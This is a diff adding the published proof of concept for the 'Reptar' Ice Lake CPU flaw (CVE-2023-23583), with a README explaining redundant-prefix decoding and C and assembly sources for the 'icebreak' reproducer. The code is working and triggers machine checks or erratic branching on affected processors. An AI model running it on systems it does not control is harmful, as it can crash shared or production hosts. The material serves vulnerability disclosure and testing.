diff --git a/pocs/cpus/reptar/Makefile b/pocs/cpus/reptar/Makefile new file mode 100644 index 00000000..242c63aa --- /dev/null +++ b/pocs/cpus/reptar/Makefile @@ -0,0 +1,16 @@ +CFLAGS=-O0 -ggdb3 -march=icelake-server +LDFLAGS=-pthread -Wl,-z,noexecstack -static +NFLAGS= + +.PHONY: clean + +all: icebreak + +%.o: %.asm + nasm $(NFLAGS) -O0 -felf64 -o $@ $^ + +icebreak: main.o hammer.o threads.o util.o + +clean: + rm -f *.o core + rm -f icebreak diff --git a/pocs/cpus/reptar/README.md b/pocs/cpus/reptar/README.md new file mode 100644 index 00000000..e853f50b --- /dev/null +++ b/pocs/cpus/reptar/README.md @@ -0,0 +1,151 @@ +# REP MOVSB Redundant Prefixes Can Corrupt Ice Lake Microarchitectural State +

aka "Reptar", CVE-2023-23583

+

+Tavis Ormandy
+Eduardo Vela Nava
+Josh Eads
+Alexandra Sandulescu
+

+ +## Introduction + +If you've ever written any x86 assembly at all, you've probably used `rep movsb`. +It's the idiomatic way of moving memory around on x86. You set the *source*, +*destination*, *direction* and the *count* - then just let the processor handle +all the details! + +```nasm +lea rdi, [rel dst] +lea rsi, [rel src] +std +mov rcx, 32 +rep movsb +``` + +The actual instruction here is `movsb`, the `rep` is simply a prefix that +changes how the instruction works. In this case, it indicates that you want +this operation **rep**eated multiple times. + +There are lots of other prefixes too, but they don't all apply to every +instruction. + +#### Prefix Decoding + +An interesting feature of x86 is that the instruction decoding is generally +quite relaxed. If you use a prefix that doesn't make sense or conflicts with +other prefixes nothing much will happen, it will usually just be ignored. + +This fact is sometimes useful; compilers can use redundant prefixes to pad a +single instruction to a desirable alignment boundary. + +Take a look at this snippet, this is exactly the same code as above, just a +bunch of useless or redundant prefixes have been added: + +```nasm + rep lea rdi, [rel dst] + cs lea rsi, [rel src] + gs gs gs std + repnz mov rcx, 32 +rep rep rep rep movsb +``` + +Perhaps the most interesting prefixes are `rex`, `vex` and `evex`, all of which +change how subsequent instructions are decoded. + +Let's take a look at how they work. + +#### The REX prefix + +The i386 only had 8 general purpose registers, so you could specify which +register you want to use in just 3 bits (because 2^3 is 8). + +The way that instructions were encoded took advantage of this fact, and reserved +*just* enough bits to specify any of those registers. + +This is a problem, because x86-64 added 8 additional general purpose registers. +We now have sixteen possible registers..that's 2^4, so we're going +to need another bit. + +The solution to this is the `rex` prefix, which gives us some spare bits that +the next instruction can borrow. + +When we're talking about rex, we usually write it like this: + +```nasm +rex.rxb +``` + +`rex` is a single-byte prefix, the first four bits are mandatory and the +remaining four bits called `b`, `x`, `r` and `w` are all optional. If you see +`rex.rb` that means only the `r` and `b` bits are set, all the others are +unset. + +These optional bits give us room to encode more general purpose registers in +the following instruction. + +#### Encoding Rules + +So now we know that `rex` increases the available space for encoding operands, +and that useless or redundant prefixes are usually ignored on x86. So... what +should this instruction do? + +```nasm +rex.rxb rep movsb +``` + +The `movsb` instruction doesn't have any operands - they're all implicit - so +any `rex` bits are meaningless. + +If you guessed that the processor will just silently ignore the `rex` prefix, +you would be correct! + +Well... except on machines that support a new feature called *fast short +repeat move*! We discovered that a bug with redundant `rex` prefixes could +interact with this feature in an unexpected way and introduce a serious +vulnerability. + +#### Reproduce + +We're publishing all of our research today to our [security research +repository](https://github.com/google/security-research/). If you want to +reproduce the vulnerability you can use our `icebreak` tool, I've also made a +local mirror available [here](files/icebreak.tar.gz). + +``` +$ ./icebreak -h +usage: ./icebreak [OPTIONS] + -c N,M Run repro threads on core N and M. + -d N Sleep N usecs between repro attempts. + -H N Spawn a hammer thread on core N. +icebreak: you must at least specify a core pair with -c! (see -h for help) +``` + +The testcase enters what should be an infinite loop, and unaffected systems +should see no output at all. On affected systems, a `.` is printed on each +successful reproduction. + +``` +$ ./icebreak -c 0,4 +starting repro on cores 0 and 4 +......................................................................... +......................................................................... +......................................................................... +......................................................................... +......................................................................... +``` + +In general, if the cores are SMT +siblings then you may observe random branches and if they're SMP siblings from the same package +then you may observe machine checks. + +If you do *not* specify two different cores, then you might need to use a +hammer thread to trigger a reproduction. + +## Solution + +Intel have +[published](https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00950.html) +updated microcode for all affected processors. Your operating system or BIOS +vendor may already have an update available! + diff --git a/pocs/cpus/reptar/config.asm b/pocs/cpus/reptar/config.asm new file mode 100644 index 00000000..e69de29b diff --git a/pocs/cpus/reptar/hammer.asm b/pocs/cpus/reptar/hammer.asm new file mode 100644 index 00000000..f9e3e171 --- /dev/null +++ b/pocs/cpus/reptar/hammer.asm @@ -0,0 +1,22 @@ +BITS 64 + +%include "syscalls.asm" +%include "macros.asm" +%include "config.asm" + +section .text + +global sibling_trigger +global sibling_fault + +sibling_trigger: + mfence + mov rax, SYS_sched_yield + syscall + jmp sibling_trigger + hlt + +sibling_fault: + .repeat: + ud2 + jmp .repeat diff --git a/pocs/cpus/reptar/icebreak.asm b/pocs/cpus/reptar/icebreak.asm new file mode 100644 index 00000000..d1b58a4a --- /dev/null +++ b/pocs/cpus/reptar/icebreak.asm @@ -0,0 +1,47 @@ +BITS 64 + +%include "syscalls.asm" +%include "macros.asm" +%include "config.asm" + +global icelake_repro +global icelake_buf + +section .data + align 4096 + dst: dq 0, 0 + src: dq 0, 0 +section .text + + ; This should be aligned on a page boundary so that we can mprotect/madvise it. + align 4096 +icelake_repro: + ; We ret on error, so save where we want to go. + ; this is just because ret is a one-byte opcode. + push .finish + xor r8, r8 ; iteration counter + mov rax, SYS32_sched_yield ; this benchmarks better than syscall + int 0x80 + xor rcx, rcx + align 32 + ; If you find an MCE difficult to repro, adjust this number for your SKU (try 0..8). + times 2 nop + .repeat: + inc r8 ; keep track of executions + inc rcx ; movsb count + lea rdi, [rel dst] + lea rsi, [rel src] + rep + rex + rex r + movsb + rep movsb + jmp short .repeat + .after: + lfence + ; This should be unreachable + times 128 ret + .finish: + mov rax, r8 + ret + hlt diff --git a/pocs/cpus/reptar/macros.asm b/pocs/cpus/reptar/macros.asm new file mode 100644 index 00000000..d6cb8f12 --- /dev/null +++ b/pocs/cpus/reptar/macros.asm @@ -0,0 +1,21 @@ + +; macro to generate rex bytes +; e.g. rex w,x,b +%macro rex 0-4 + %assign _rex 0b01000000 + %rep %0 + %ifidni %1, W + %assign _rex _rex | 0b1000 + %elifidni %1, R + %assign _rex _rex | 0b0100 + %elifidni %1, X + %assign _rex _rex | 0b0010 + %elifidni %1, B + %assign _rex _rex | 0b0001 + %else + %error unrecognized flag %1 + %endif + %rotate 1 + %endrep + db _rex +%endmacro diff --git a/pocs/cpus/reptar/main.c b/pocs/cpus/reptar/main.c new file mode 100644 index 00000000..c06d0dcb --- /dev/null +++ b/pocs/cpus/reptar/main.c @@ -0,0 +1,135 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "threads.h" +#include "util.h" + +extern uint64_t icelake_repro(); +extern uint64_t sibling_trigger(); + +static void * icelake_worker(void *param) +{ + // Need to enable cancellation. + pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL); + + icelake_repro(); + + pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL); + + return 0; +} + +static void * icelake_hammer(void *param) +{ + // Need to enable cancellation. + pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL); + + sibling_trigger(); + + pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL); + + return 0; +} + +static void print_help() +{ + logmsg("usage: ./icebreak [OPTIONS]"); + logmsg(" -c N,M Run repro threads on core N and M."); + logmsg(" -d N Sleep N usecs between repro attempts."); + logmsg(" -H N Spawn a hammer thread on core N."); +} + +static struct rlimit rlim = { + .rlim_cur = 0, + .rlim_max = 0, +}; + +static int delay = 1000; + +int main(int argc, char **argv) +{ + pthread_t A = 0, B = 0; + pthread_t hammer = 0; + int coreA = -1; + int coreB = -1; + int opt; + int coreH = -1; + pid_t child; + + setrlimit(RLIMIT_CORE, &rlim); + + while ((opt = getopt(argc, argv, "H:hc:d:")) != -1) { + switch (opt) { + case 'c': if (sscanf(optarg, "%u,%u", &coreA, &coreB) != 2) + errx(EXIT_FAILURE, "the format required is N,M, for example: 0,1"); + break; + case 'd': delay = atoi(optarg); + break; + case 'H': coreH = atoi(optarg); + break; + case 'h': print_help(); + break; + default: + print_help(); + errx(EXIT_FAILURE, "unrecognized commandline argument"); + } + } + + if (coreA < 0 || coreB < 0) { + errx(EXIT_FAILURE, "you must at least specify a core pair with -c! (see -h for help)"); + } + + if (coreH >= 0) { + hammer = spawn_thread_core(icelake_hammer, NULL, coreH); + logmsg("Hammer thread %p on core %d", hammer, coreH); + } + + logmsg("starting repro on cores %d and %d", coreA, coreB); + + do { + // Run this in a subprocess in case it crashes. + if ((child = fork()) == 0) { + + // Make sure it doesn't get stuck if it jumps into an infinite loop. + alarm(5); + + // Attempt to repro 64 times. + for (int i = 0; i < 64; i++) { + if (!A || pthread_tryjoin_np(A, NULL) == 0) + A = spawn_thread_core(icelake_worker, NULL, coreA); + if (!B || pthread_tryjoin_np(B, NULL) == 0) + B = spawn_thread_core(icelake_worker, NULL, coreB); + + usleep(delay); + fputc('.', stderr); + } + + // No luck, it might be in a weird state - restart. + pthread_cancel(A); + pthread_cancel(B); + + fputc('\n', stderr); + + pthread_join(A, NULL); + pthread_join(B, NULL); + + _exit(0); + } + } while (waitpid(child, NULL, 0) != -1); + + err(EXIT_FAILURE, "this is supposed to be unreachable, waitpid() failed"); + + return 0; +} diff --git a/pocs/cpus/reptar/syscalls.asm b/pocs/cpus/reptar/syscalls.asm new file mode 100644 index 00000000..2658ffbf --- /dev/null +++ b/pocs/cpus/reptar/syscalls.asm @@ -0,0 +1,5 @@ +%define SYS_sched_yield 0x18 +%define SYS32_sched_yield 0x9e +%define SYS_exit 0x3c +%define SYS_alarm 0x25 +%define SYS_pause 0x22 diff --git a/pocs/cpus/reptar/threads.c b/pocs/cpus/reptar/threads.c new file mode 100644 index 00000000..e96e8bed --- /dev/null +++ b/pocs/cpus/reptar/threads.c @@ -0,0 +1,52 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "threads.h" + +// This wrapper spawns a thread locked to a specific CPU. +pthread_t spawn_thread_core(void *(*start_routine)(void *), void *restrict arg, int cpu) +{ + pthread_t tid = 0; + pthread_attr_t attr; + cpu_set_t set; + + // Unspecified + if (cpu < 0 || !start_routine) + return tid; + + pthread_attr_init(&attr); + CPU_ZERO(&set); + CPU_SET(cpu, &set); + + if (pthread_attr_setaffinity_np(&attr, sizeof(cpu_set_t), &set) != 0) + err(EXIT_FAILURE, "failed to lock thread to specified core %d", cpu); + if (pthread_create(&tid, &attr, start_routine, arg) != 0) + err(EXIT_FAILURE, "failed to start thread on specifed core %d", cpu); + pthread_attr_destroy(&attr); + return tid; +} + +int set_cpu_affinity(int cpu) +{ + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(cpu, &set); + + if (sched_setaffinity(0, sizeof(set), &set) != 0) { + err(EXIT_FAILURE, "failed to set cpu affinity"); + } + return 0; +} diff --git a/pocs/cpus/reptar/threads.h b/pocs/cpus/reptar/threads.h new file mode 100644 index 00000000..35f9af9d --- /dev/null +++ b/pocs/cpus/reptar/threads.h @@ -0,0 +1,7 @@ +#ifndef __THREADS_H +#define __THREADS_H + +pthread_t spawn_thread_core(void *(*start_routine)(void *), void *restrict arg, int cpu); +int set_cpu_affinity(int cpu); + +#endif diff --git a/pocs/cpus/reptar/util.c b/pocs/cpus/reptar/util.c new file mode 100644 index 00000000..14f6a646 --- /dev/null +++ b/pocs/cpus/reptar/util.c @@ -0,0 +1,79 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "util.h" + +bool quiet; + +void logmsg(char *format, ...) +{ + va_list ap; + // Try to limit console noise. + if (quiet == true) + return; + + // Print a debugging message. + va_start(ap, format); + vfprintf(stderr, format, ap); + fputc('\n', stderr); + va_end(ap); + return; +} + +void print(char *format, ...) +{ + va_list ap; + // Try to limit console noise. + if (quiet == true) + return; + + // Print a debugging message. + va_start(ap, format); + vfprintf(stdout, format, ap); + va_end(ap); + return; +} + +bool num_inrange(char *range, int num) +{ + char *r, *s, *e; + + // Example: + // 1,2,3,4-8,2 + + if (range == NULL) + return false; + + s = strtok_r(strdupa(range), ",", &r); + + while (s) { + int start; + int end; + + start = end = strtoul(s, &e, 0); + + if (*e == '-') { + end = strtoul(++e, &e, 0); + } + + if (*e != '\0' || end < start) { + errx(EXIT_FAILURE, "The range %s was not valid (example: 1,2,3,4-5)", s); + } + + if (num >= start && num <= end) + return true; + + s = strtok_r(NULL, ",", &r); + } + + return false; +} diff --git a/pocs/cpus/reptar/util.h b/pocs/cpus/reptar/util.h new file mode 100644 index 00000000..2456004d --- /dev/null +++ b/pocs/cpus/reptar/util.h @@ -0,0 +1,10 @@ +#ifndef __UTIL_H +#define __UTIL_H + +extern bool quiet; + +void logmsg(char *format, ...); +void print(char *format, ...); +bool num_inrange(char *range, int num); + +#endif